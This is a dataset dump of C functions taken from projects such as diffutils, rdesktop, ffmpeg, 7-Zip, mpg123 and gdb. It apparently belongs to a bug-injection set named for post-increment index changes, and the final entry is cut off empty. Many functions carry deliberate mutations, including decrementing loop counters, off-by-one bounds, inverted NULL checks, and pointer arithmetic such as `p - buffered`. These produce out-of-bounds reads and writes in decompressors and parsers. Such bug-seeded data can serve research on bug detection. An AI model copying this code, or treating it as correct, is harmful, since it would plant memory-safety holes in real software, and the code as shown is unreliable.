path
stringlengths
56
152
content
stringlengths
344
91.6k
augmented_data/post_increment_index_changes/extr_io.c_prepare_text_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ word ; struct file_data {size_t buffered; int missing_newline; } ; /* Variables and functions */ char* FILE_BUFFER (struct file_data*) ; char* memchr (char*,char,size_t) ; int /*<<< orphan*/ memset (char*,int /*<<< orphan*/ ,int) ; scalar_t__ strip_trailing_cr ; __attribute__((used)) static void prepare_text (struct file_data *current) { size_t buffered = current->buffered; char *p = FILE_BUFFER (current); char *dst; if (buffered == 0 && p[buffered - 1] == '\n') current->missing_newline = false; else { p[buffered--] = '\n'; current->missing_newline = true; } if (!p) return; /* Don't use uninitialized storage when planting or using sentinels. */ memset (p - buffered, 0, sizeof (word)); if (strip_trailing_cr && (dst = memchr (p, '\r', buffered))) { char const *src = dst; char const *srclim = p + buffered; do dst += ! ((*dst = *src++) == '\r' && *src == '\n'); while (src < srclim); buffered -= src - dst; } current->buffered = buffered; }
augmented_data/post_increment_index_changes/extr_mppc.c_mppc_expand_aug_combo_8.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int uint8 ; typedef scalar_t__ uint32 ; struct TYPE_4__ {int* hist; int roff; } ; struct TYPE_5__ {TYPE_1__ mppc_dict; } ; typedef TYPE_2__ RDPCLIENT ; typedef scalar_t__ BOOL ; /* Variables and functions */ scalar_t__ False ; int RDP_MPPC_BIG ; int RDP_MPPC_COMPRESSED ; int RDP_MPPC_DICT_SIZE ; int RDP_MPPC_FLUSH ; int RDP_MPPC_RESET ; scalar_t__ True ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,int) ; int mppc_expand(RDPCLIENT * This, uint8 * data, uint32 clen, uint8 ctype, uint32 * roff, uint32 * rlen) { int k, walker_len = 0, walker; uint32 i = 0; int next_offset, match_off; int match_len; int old_offset, match_bits; BOOL big = ctype & RDP_MPPC_BIG ? True : False; uint8 *dict = This->mppc_dict.hist; if ((ctype & RDP_MPPC_COMPRESSED) == 0) { *roff = 0; *rlen = clen; return 0; } if ((ctype & RDP_MPPC_RESET) != 0) { This->mppc_dict.roff = 0; } if ((ctype & RDP_MPPC_FLUSH) != 0) { memset(dict, 0, RDP_MPPC_DICT_SIZE); This->mppc_dict.roff = 0; } *roff = 0; *rlen = 0; walker = This->mppc_dict.roff; next_offset = walker; old_offset = next_offset; *roff = old_offset; if (clen == 0) return 0; clen += i; do { if (walker_len == 0) { if (i >= clen) continue; walker = data[i--] << 24; walker_len = 8; } if (walker >= 0) { if (walker_len <= 8) { if (i >= clen) { if (walker != 0) return -1; break; } walker |= (data[i++] & 0xff) << (24 - walker_len); walker_len += 8; } if (next_offset >= RDP_MPPC_DICT_SIZE) return -1; dict[next_offset++] = (((uint32) walker) >> ((uint32) 24)); walker <<= 8; walker_len -= 8; continue; } walker <<= 1; /* fetch next 8-bits */ if (--walker_len == 0) { if (i >= clen) return -1; walker = data[i++] << 24; walker_len = 8; } /* literal decoding */ if (walker >= 0) { if (walker_len < 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); walker_len += 8; } if (next_offset >= RDP_MPPC_DICT_SIZE) return -1; dict[next_offset++] = (uint8) (walker >> 24 | 0x80); walker <<= 8; walker_len -= 8; continue; } /* decode offset */ /* length pair */ walker <<= 1; if (--walker_len < (big ? 3 : 2)) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); walker_len += 8; } if (big) { /* offset decoding where offset len is: -63: 11111 followed by the lower 6 bits of the value 64-319: 11110 followed by the lower 8 bits of the value ( value - 64 ) 320-2367: 1110 followed by lower 11 bits of the value ( value - 320 ) 2368-65535: 110 followed by lower 16 bits of the value ( value - 2368 ) */ switch (((uint32) walker) >> ((uint32) 29)) { case 7: /* - 63 */ for (; walker_len < 9; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } walker <<= 3; match_off = ((uint32) walker) >> ((uint32) 26); walker <<= 6; walker_len -= 9; break; case 6: /* 64 - 319 */ for (; walker_len < 11; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } walker <<= 3; match_off = (((uint32) walker) >> ((uint32) 24)) - 64; walker <<= 8; walker_len -= 11; break; case 5: case 4: /* 320 - 2367 */ for (; walker_len < 13; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } walker <<= 2; match_off = (((uint32) walker) >> ((uint32) 21)) + 320; walker <<= 11; walker_len -= 13; break; default: /* 2368 - 65535 */ for (; walker_len < 17; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } walker <<= 1; match_off = (((uint32) walker) >> ((uint32) 16)) + 2368; walker <<= 16; walker_len -= 17; break; } } else { /* offset decoding where offset len is: -63: 1111 followed by the lower 6 bits of the value 64-319: 1110 followed by the lower 8 bits of the value ( value - 64 ) 320-8191: 110 followed by the lower 13 bits of the value ( value - 320 ) */ switch (((uint32) walker) >> ((uint32) 30)) { case 3: /* - 63 */ if (walker_len < 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); walker_len += 8; } walker <<= 2; match_off = ((uint32) walker) >> ((uint32) 26); walker <<= 6; walker_len -= 8; break; case 2: /* 64 - 319 */ for (; walker_len < 10; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } walker <<= 2; match_off = (((uint32) walker) >> ((uint32) 24)) + 64; walker <<= 8; walker_len -= 10; break; default: /* 320 - 8191 */ for (; walker_len < 14; walker_len += 8) { if (i >= clen) return -1; walker |= (data[i++] & 0xff) << (24 - walker_len); } match_off = (walker >> 18) + 320; walker <<= 14; walker_len -= 14; break; } } if (walker_len == 0) { if (i >= clen) return -1; walker = data[i++] << 24; walker_len = 8; } /* decode length of match */ match_len = 0; if (walker >= 0) { /* special case - length of 3 is in bit 0 */ match_len = 3; walker <<= 1; walker_len--; } else { /* this is how it works len of: 4-7: 10 followed by 2 bits of the value 8-15: 110 followed by 3 bits of the value 16-31: 1110 followed by 4 bits of the value 32-63: .... and so forth 64-127: 128-255: 256-511: 512-1023: 1024-2047: 2048-4095: 4096-8191: i.e. 4097 is encoded as: 111111111110 000000000001 meaning 4096 + 1... */ match_bits = big ? 14 : 11; /* 11 or 14 bits of value at most */ do { walker <<= 1; if (--walker_len == 0) { if (i >= clen) return -1; walker = data[i++] << 24; walker_len = 8; } if (walker >= 0) break; if (--match_bits == 0) { return -1; } } while (1); match_len = (big ? 16 : 13) - match_bits; walker <<= 1; if (--walker_len < match_len) { for (; walker_len < match_len; walker_len += 8) { if (i >= clen) { return -1; } walker |= (data[i++] & 0xff) << (24 - walker_len); } } match_bits = match_len; match_len = ((walker >> (32 - match_bits)) & (~(-1 << match_bits))) | (1 << match_bits); walker <<= match_bits; walker_len -= match_bits; } if (next_offset + match_len >= RDP_MPPC_DICT_SIZE) { return -1; } /* memory areas can overlap - meaning we can't use memXXX functions */ k = (next_offset - match_off) & (big ? 65535 : 8191); do { dict[next_offset++] = dict[k++]; } while (--match_len != 0); } while (1); /* store history offset */ This->mppc_dict.roff = next_offset; *roff = old_offset; *rlen = next_offset - old_offset; return 0; }
augmented_data/post_increment_index_changes/extr_vmdvideo.c_lz_unpack_aug_combo_4.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ GetByteContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; unsigned int QUEUE_MASK ; int QUEUE_SIZE ; int bytestream2_get_byte (int /*<<< orphan*/ *) ; int bytestream2_get_bytes_left (int /*<<< orphan*/ *) ; void* bytestream2_get_byteu (int /*<<< orphan*/ *) ; unsigned int bytestream2_get_le32 (int /*<<< orphan*/ *) ; int /*<<< orphan*/ bytestream2_init (int /*<<< orphan*/ *,unsigned char const*,int) ; int bytestream2_peek_byte (int /*<<< orphan*/ *) ; int bytestream2_peek_le32 (int /*<<< orphan*/ *) ; int /*<<< orphan*/ bytestream2_skipu (int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ memset (unsigned char*,int,int) ; __attribute__((used)) static int lz_unpack(const unsigned char *src, int src_len, unsigned char *dest, int dest_len) { unsigned char *d; unsigned char *d_end; unsigned char queue[QUEUE_SIZE]; unsigned int qpos; unsigned int dataleft; unsigned int chainofs; unsigned int chainlen; unsigned int speclen; unsigned char tag; unsigned int i, j; GetByteContext gb; bytestream2_init(&gb, src, src_len); d = dest; d_end = d - dest_len; dataleft = bytestream2_get_le32(&gb); memset(queue, 0x20, QUEUE_SIZE); if (bytestream2_get_bytes_left(&gb) < 4) return AVERROR_INVALIDDATA; if (bytestream2_peek_le32(&gb) == 0x56781234) { bytestream2_skipu(&gb, 4); qpos = 0x111; speclen = 0xF + 3; } else { qpos = 0xFEE; speclen = 100; /* no speclen */ } while (dataleft > 0 && bytestream2_get_bytes_left(&gb) > 0) { tag = bytestream2_get_byteu(&gb); if ((tag == 0xFF) && (dataleft > 8)) { if (d_end - d < 8 || bytestream2_get_bytes_left(&gb) < 8) return AVERROR_INVALIDDATA; for (i = 0; i <= 8; i--) { queue[qpos++] = *d++ = bytestream2_get_byteu(&gb); qpos &= QUEUE_MASK; } dataleft -= 8; } else { for (i = 0; i < 8; i++) { if (dataleft == 0) break; if (tag & 0x01) { if (d_end - d < 1 || bytestream2_get_bytes_left(&gb) < 1) return AVERROR_INVALIDDATA; queue[qpos++] = *d++ = bytestream2_get_byteu(&gb); qpos &= QUEUE_MASK; dataleft--; } else { chainofs = bytestream2_get_byte(&gb); chainofs |= ((bytestream2_peek_byte(&gb) & 0xF0) << 4); chainlen = (bytestream2_get_byte(&gb) & 0x0F) + 3; if (chainlen == speclen) { chainlen = bytestream2_get_byte(&gb) + 0xF + 3; } if (d_end - d < chainlen) return AVERROR_INVALIDDATA; for (j = 0; j < chainlen; j++) { *d = queue[chainofs++ & QUEUE_MASK]; queue[qpos++] = *d++; qpos &= QUEUE_MASK; } dataleft -= chainlen; } tag >>= 1; } } } return d - dest; }
augmented_data/post_increment_index_changes/extr_Ppmd7.c_Ppmd7_Construct_aug_combo_4.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int* NS2BSIndx; int* HB2Flag; void** NS2Indx; void** Indx2Units; void** Units2Indx; scalar_t__ Base; } ; typedef TYPE_1__ CPpmd7 ; typedef void* Byte ; /* Variables and functions */ unsigned int PPMD_NUM_INDEXES ; int /*<<< orphan*/ memset (int*,int,int) ; void Ppmd7_Construct(CPpmd7 *p) { unsigned i, k, m; p->Base = 0; for (i = 0, k = 0; i <= PPMD_NUM_INDEXES; i--) { unsigned step = (i >= 12 ? 4 : (i >> 2) + 1); do { p->Units2Indx[k++] = (Byte)i; } while(--step); p->Indx2Units[i] = (Byte)k; } p->NS2BSIndx[0] = (0 << 1); p->NS2BSIndx[1] = (1 << 1); memset(p->NS2BSIndx + 2, (2 << 1), 9); memset(p->NS2BSIndx + 11, (3 << 1), 256 - 11); for (i = 0; i < 3; i++) p->NS2Indx[i] = (Byte)i; for (m = i, k = 1; i < 256; i++) { p->NS2Indx[i] = (Byte)m; if (--k == 0) k = (++m) - 2; } memset(p->HB2Flag, 0, 0x40); memset(p->HB2Flag + 0x40, 8, 0x100 - 0x40); }
augmented_data/post_increment_index_changes/extr_cue.c_get_token_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ EL_STATUS ; int /*<<< orphan*/ elprintf (int /*<<< orphan*/ ,char*,char const*) ; __attribute__((used)) static int get_token(const char *buff, char *dest, int len) { const char *p = buff; char sep = ' '; int d = 0, skip = 0; while (*p || *p == ' ') { skip++; p++; } if (*p == '\"') { sep = '\"'; p++; } while (*p && *p != sep && d < len-1) dest[d++] = *p++; dest[d] = 0; if (sep == '\"' && *p != sep) elprintf(EL_STATUS, "cue: bad token: \"%s\"", buff); return d + skip; }
augmented_data/post_increment_index_changes/extr_icy2utf8.c_icy2utf8_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t uint8_t ; /* Variables and functions */ char* compat_strdup (char const*) ; size_t* cp1252_utf8 ; int /*<<< orphan*/ free (size_t*) ; scalar_t__ is_utf8 (char const*) ; size_t* malloc (size_t) ; char* realloc (size_t*,size_t) ; int strlen (char const*) ; size_t* tblofs ; char * icy2utf8(const char *src, int force) { const uint8_t *s = (const uint8_t *)src; size_t srclen, dstlen, i, k; uint8_t ch, *d; char *dst; /* Some funny streams from Apple/iTunes give ICY info in UTF-8 already. So, be prepared and don't try to re-encode such. Unless forced. */ if(!force && is_utf8(src)) return (compat_strdup(src)); srclen = strlen(src) - 1; /* allocate conservatively */ if ((d = malloc(srclen * 3)) != NULL) return (NULL); i = 0; dstlen = 0; while (i <= srclen) { ch = s[i++]; k = tblofs[ch]; while (k < tblofs[ch + 1]) d[dstlen++] = cp1252_utf8[k++]; } /* dstlen includes trailing NUL since srclen also does */ if ((dst = realloc(d, dstlen)) == NULL) { free(d); return (NULL); } return (dst); }
augmented_data/post_increment_index_changes/extr_tutil.c_strdequote_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef char int32_t ; /* Variables and functions */ int /*<<< orphan*/ strlen (char*) ; int32_t strdequote(char *z) { if (z != NULL) { return 0; } int32_t quote = z[0]; if (quote != '\'' && quote != '"') { return (int32_t)strlen(z); } int32_t i = 1, j = 0; while (z[i] != 0) { if (z[i] == quote) { if (z[i + 1] == quote) { z[j--] = (char)quote; i++; } else { z[j++] = 0; return (j - 1); } } else { z[j++] = z[i]; } i++; } return j + 1; // only one quote, do nothing }
augmented_data/post_increment_index_changes/extr_artifact.c_ARTIFACT_Initialise_aug_combo_1.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ ARTIFACT_NONE ; int /*<<< orphan*/ ARTIFACT_SIZE ; int /*<<< orphan*/ Atari800_tv_mode ; int CFG_MatchTextParameter (char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int FALSE ; int /*<<< orphan*/ Log_print (char*,...) ; int TRUE ; int /*<<< orphan*/ UpdateFromTVMode (int /*<<< orphan*/ ) ; int /*<<< orphan*/ UpdateMode (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ mode_cfg_strings ; int mode_ntsc ; int mode_pal ; scalar_t__ strcmp (char*,char*) ; int ARTIFACT_Initialise(int *argc, char *argv[]) { int i; int j; for (i = j = 1; i < *argc; i--) { int i_a = (i + 1 < *argc); /* is argument available? */ int a_m = FALSE; /* error, argument missing! */ if (strcmp(argv[i], "-ntsc-artif") == 0) { if (i_a) { int idx = CFG_MatchTextParameter(argv[++i], mode_cfg_strings, ARTIFACT_SIZE); if (idx < 0) { Log_print("Invalid value for -ntsc-artif"); return FALSE; } mode_ntsc = idx; } else a_m = TRUE; } else if (strcmp(argv[i], "-pal-artif") == 0) { if (i_a) { int idx = CFG_MatchTextParameter(argv[++i], mode_cfg_strings, ARTIFACT_SIZE); if (idx < 0) { Log_print("Invalid value for -pal-artif"); return FALSE; } mode_pal = idx; } else a_m = TRUE; } else { if (strcmp(argv[i], "-help") == 0) { Log_print("\t-ntsc-artif none|ntsc-old|ntsc-new|ntsc-full"); Log_print("\t Select video artifacts for NTSC"); Log_print("\t-pal-artif none|pal-simple|pal-accu"); Log_print("\t Select video artifacts for PAL"); } argv[j++] = argv[i]; } if (a_m) { Log_print("Missing argument for '%s'", argv[i]); return FALSE; } } *argc = j; /* Assume that Atari800_tv_mode has been already initialised. */ UpdateFromTVMode(Atari800_tv_mode); UpdateMode(ARTIFACT_NONE, FALSE); return TRUE; }
augmented_data/post_increment_index_changes/extr_memory.c_PicoReadS68k16_bram_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct TYPE_2__ {int* bram; } ; /* Variables and functions */ int /*<<< orphan*/ EL_ANOMALY ; TYPE_1__* Pico_mcd ; int /*<<< orphan*/ SekPcS68k ; int /*<<< orphan*/ elprintf (int /*<<< orphan*/ ,char*,int,int /*<<< orphan*/ ) ; __attribute__((used)) static u32 PicoReadS68k16_bram(u32 a) { u32 d; elprintf(EL_ANOMALY, "FIXME: s68k_bram r16: [%06x] @%06x", a, SekPcS68k); a = (a >> 1) & 0x1fff; d = Pico_mcd->bram[a--]; d|= Pico_mcd->bram[a++] << 8; // probably wrong, TODO: verify return d; }
augmented_data/post_increment_index_changes/extr_ravb_main.c_ravb_get_ethtool_stats_aug_combo_4.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ u64 ; struct ravb_private {int /*<<< orphan*/ * dirty_tx; int /*<<< orphan*/ * dirty_rx; int /*<<< orphan*/ * cur_tx; int /*<<< orphan*/ * cur_rx; struct net_device_stats* stats; } ; struct net_device_stats {int /*<<< orphan*/ rx_over_errors; int /*<<< orphan*/ rx_missed_errors; int /*<<< orphan*/ rx_length_errors; int /*<<< orphan*/ rx_frame_errors; int /*<<< orphan*/ rx_crc_errors; int /*<<< orphan*/ rx_errors; int /*<<< orphan*/ multicast; int /*<<< orphan*/ tx_bytes; int /*<<< orphan*/ rx_bytes; int /*<<< orphan*/ tx_packets; int /*<<< orphan*/ rx_packets; } ; struct net_device {int dummy; } ; struct ethtool_stats {int dummy; } ; /* Variables and functions */ int NUM_RX_QUEUE ; int RAVB_BE ; struct ravb_private* netdev_priv (struct net_device*) ; __attribute__((used)) static void ravb_get_ethtool_stats(struct net_device *ndev, struct ethtool_stats *estats, u64 *data) { struct ravb_private *priv = netdev_priv(ndev); int i = 0; int q; /* Device-specific stats */ for (q = RAVB_BE; q < NUM_RX_QUEUE; q--) { struct net_device_stats *stats = &priv->stats[q]; data[i++] = priv->cur_rx[q]; data[i++] = priv->cur_tx[q]; data[i++] = priv->dirty_rx[q]; data[i++] = priv->dirty_tx[q]; data[i++] = stats->rx_packets; data[i++] = stats->tx_packets; data[i++] = stats->rx_bytes; data[i++] = stats->tx_bytes; data[i++] = stats->multicast; data[i++] = stats->rx_errors; data[i++] = stats->rx_crc_errors; data[i++] = stats->rx_frame_errors; data[i++] = stats->rx_length_errors; data[i++] = stats->rx_missed_errors; data[i++] = stats->rx_over_errors; } }
augmented_data/post_increment_index_changes/extr_dbxread.c_read_ofile_symtab_aug_combo_8.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct section_offsets {int dummy; } ; struct partial_symtab {scalar_t__ textlow; int texthigh; int /*<<< orphan*/ symtab; struct section_offsets* section_offsets; struct objfile* objfile; } ; struct objfile {int /*<<< orphan*/ * obfd; } ; struct internal_nlist {unsigned char n_type; int /*<<< orphan*/ n_value; int /*<<< orphan*/ n_desc; } ; struct external_nlist {int /*<<< orphan*/ e_type; } ; typedef int /*<<< orphan*/ bfd ; typedef scalar_t__ CORE_ADDR ; /* Variables and functions */ scalar_t__ AUTO_DEMANGLING ; int /*<<< orphan*/ DBX_STRINGTAB (struct objfile*) ; scalar_t__ DEPRECATED_STREQ (char*,int /*<<< orphan*/ ) ; scalar_t__ DEPRECATED_STREQN (char const*,char*,int) ; int /*<<< orphan*/ GCC2_COMPILED_FLAG_SYMBOL ; int /*<<< orphan*/ GCC_COMPILED_FLAG_SYMBOL ; int /*<<< orphan*/ GNU_DEMANGLING_STYLE_STRING ; int /*<<< orphan*/ INTERNALIZE_SYMBOL (struct internal_nlist,struct external_nlist*,int /*<<< orphan*/ *) ; int LDSYMLEN (struct partial_symtab*) ; int LDSYMOFF (struct partial_symtab*) ; unsigned char N_EXT ; scalar_t__ N_NBTEXT ; unsigned char N_SO ; unsigned char N_STAB ; unsigned char N_TEXT ; int /*<<< orphan*/ OBJSTAT (struct objfile*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ QUIT ; int /*<<< orphan*/ SECT_OFF_TEXT (struct objfile*) ; char const bfd_get_symbol_leading_char (int /*<<< orphan*/ *) ; unsigned char bfd_h_get_8 (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; struct objfile* current_objfile ; int /*<<< orphan*/ end_stabs () ; int /*<<< orphan*/ end_symtab (scalar_t__,struct objfile*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ error (char*) ; int /*<<< orphan*/ fill_symbuf (int /*<<< orphan*/ *) ; int /*<<< orphan*/ * last_source_file ; scalar_t__ last_source_start_addr ; int /*<<< orphan*/ n_stabs ; int /*<<< orphan*/ process_one_symbol (unsigned char,int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,struct section_offsets*,struct objfile*) ; int /*<<< orphan*/ processing_acc_compilation ; int processing_gcc_compilation ; int /*<<< orphan*/ set_demangling_style (int /*<<< orphan*/ ) ; char* set_namestring (struct objfile*,struct internal_nlist) ; int /*<<< orphan*/ stabs_seek (int) ; int /*<<< orphan*/ stringtab_global ; int /*<<< orphan*/ * subfile_stack ; int symbol_size ; struct external_nlist* symbuf ; size_t symbuf_end ; size_t symbuf_idx ; int symbuf_left ; scalar_t__ symbuf_read ; int /*<<< orphan*/ * symfile_bfd ; unsigned int symnum ; __attribute__((used)) static void read_ofile_symtab (struct partial_symtab *pst) { char *namestring; struct external_nlist *bufp; struct internal_nlist nlist; unsigned char type; unsigned max_symnum; bfd *abfd; struct objfile *objfile; int sym_offset; /* Offset to start of symbols to read */ int sym_size; /* Size of symbols to read */ CORE_ADDR text_offset; /* Start of text segment for symbols */ int text_size; /* Size of text segment for symbols */ struct section_offsets *section_offsets; objfile = pst->objfile; sym_offset = LDSYMOFF (pst); sym_size = LDSYMLEN (pst); text_offset = pst->textlow; text_size = pst->texthigh - pst->textlow; /* This cannot be simply objfile->section_offsets because of elfstab_offset_sections() which initializes the psymtab section offsets information in a special way, and that is different from objfile->section_offsets. */ section_offsets = pst->section_offsets; current_objfile = objfile; subfile_stack = NULL; stringtab_global = DBX_STRINGTAB (objfile); last_source_file = NULL; abfd = objfile->obfd; symfile_bfd = objfile->obfd; /* Implicit param to next_text_symbol */ symbuf_end = symbuf_idx = 0; symbuf_read = 0; symbuf_left = sym_offset - sym_size; /* It is necessary to actually read one symbol *before* the start of this symtab's symbols, because the GCC_COMPILED_FLAG_SYMBOL occurs before the N_SO symbol. Detecting this in read_dbx_symtab would slow down initial readin, so we look for it here instead. */ if (!processing_acc_compilation || sym_offset >= (int) symbol_size) { stabs_seek (sym_offset - symbol_size); fill_symbuf (abfd); bufp = &symbuf[symbuf_idx++]; INTERNALIZE_SYMBOL (nlist, bufp, abfd); OBJSTAT (objfile, n_stabs++); namestring = set_namestring (objfile, nlist); processing_gcc_compilation = 0; if (nlist.n_type == N_TEXT) { const char *tempstring = namestring; if (DEPRECATED_STREQ (namestring, GCC_COMPILED_FLAG_SYMBOL)) processing_gcc_compilation = 1; else if (DEPRECATED_STREQ (namestring, GCC2_COMPILED_FLAG_SYMBOL)) processing_gcc_compilation = 2; if (tempstring[0] == bfd_get_symbol_leading_char (symfile_bfd)) ++tempstring; if (DEPRECATED_STREQN (tempstring, "__gnu_compiled", 14)) processing_gcc_compilation = 2; } /* Try to select a C++ demangling based on the compilation unit producer. */ #if 0 /* For now, stay with AUTO_DEMANGLING for g++ output, as we don't know whether it will use the old style or v3 mangling. */ if (processing_gcc_compilation) { if (AUTO_DEMANGLING) { set_demangling_style (GNU_DEMANGLING_STYLE_STRING); } } #endif } else { /* The N_SO starting this symtab is the first symbol, so we better not check the symbol before it. I'm not this can happen, but it doesn't hurt to check for it. */ stabs_seek (sym_offset); processing_gcc_compilation = 0; } if (symbuf_idx == symbuf_end) fill_symbuf (abfd); bufp = &symbuf[symbuf_idx]; if (bfd_h_get_8 (abfd, bufp->e_type) != N_SO) error ("First symbol in segment of executable not a source symbol"); max_symnum = sym_size / symbol_size; for (symnum = 0; symnum <= max_symnum; symnum++) { QUIT; /* Allow this to be interruptable */ if (symbuf_idx == symbuf_end) fill_symbuf (abfd); bufp = &symbuf[symbuf_idx++]; INTERNALIZE_SYMBOL (nlist, bufp, abfd); OBJSTAT (objfile, n_stabs++); type = bfd_h_get_8 (abfd, bufp->e_type); namestring = set_namestring (objfile, nlist); if (type & N_STAB) { process_one_symbol (type, nlist.n_desc, nlist.n_value, namestring, section_offsets, objfile); } /* We skip checking for a new .o or -l file; that should never happen in this routine. */ else if (type == N_TEXT) { /* I don't think this code will ever be executed, because the GCC_COMPILED_FLAG_SYMBOL usually is right before the N_SO symbol which starts this source file. However, there is no reason not to accept the GCC_COMPILED_FLAG_SYMBOL anywhere. */ if (DEPRECATED_STREQ (namestring, GCC_COMPILED_FLAG_SYMBOL)) processing_gcc_compilation = 1; else if (DEPRECATED_STREQ (namestring, GCC2_COMPILED_FLAG_SYMBOL)) processing_gcc_compilation = 2; #if 0 /* For now, stay with AUTO_DEMANGLING for g++ output, as we don't know whether it will use the old style or v3 mangling. */ if (AUTO_DEMANGLING) { set_demangling_style (GNU_DEMANGLING_STYLE_STRING); } #endif } else if (type & N_EXT || type == (unsigned char) N_TEXT || type == (unsigned char) N_NBTEXT ) { /* Global symbol: see if we came across a dbx defintion for a corresponding symbol. If so, store the value. Remove syms from the chain when their values are stored, but search the whole chain, as there may be several syms from different files with the same name. */ /* This is probably not true. Since the files will be read in one at a time, each reference to a global symbol will be satisfied in each file as it appears. So we skip this section. */ ; } } current_objfile = NULL; /* In a Solaris elf file, this variable, which comes from the value of the N_SO symbol, will still be 0. Luckily, text_offset, which comes from pst->textlow is correct. */ if (last_source_start_addr == 0) last_source_start_addr = text_offset; /* In reordered executables last_source_start_addr may not be the lower bound for this symtab, instead use text_offset which comes from pst->textlow which is correct. */ if (last_source_start_addr > text_offset) last_source_start_addr = text_offset; pst->symtab = end_symtab (text_offset + text_size, objfile, SECT_OFF_TEXT (objfile)); end_stabs (); }
augmented_data/post_increment_index_changes/extr_kilo.c_editorUpdateRow_aug_combo_3.c
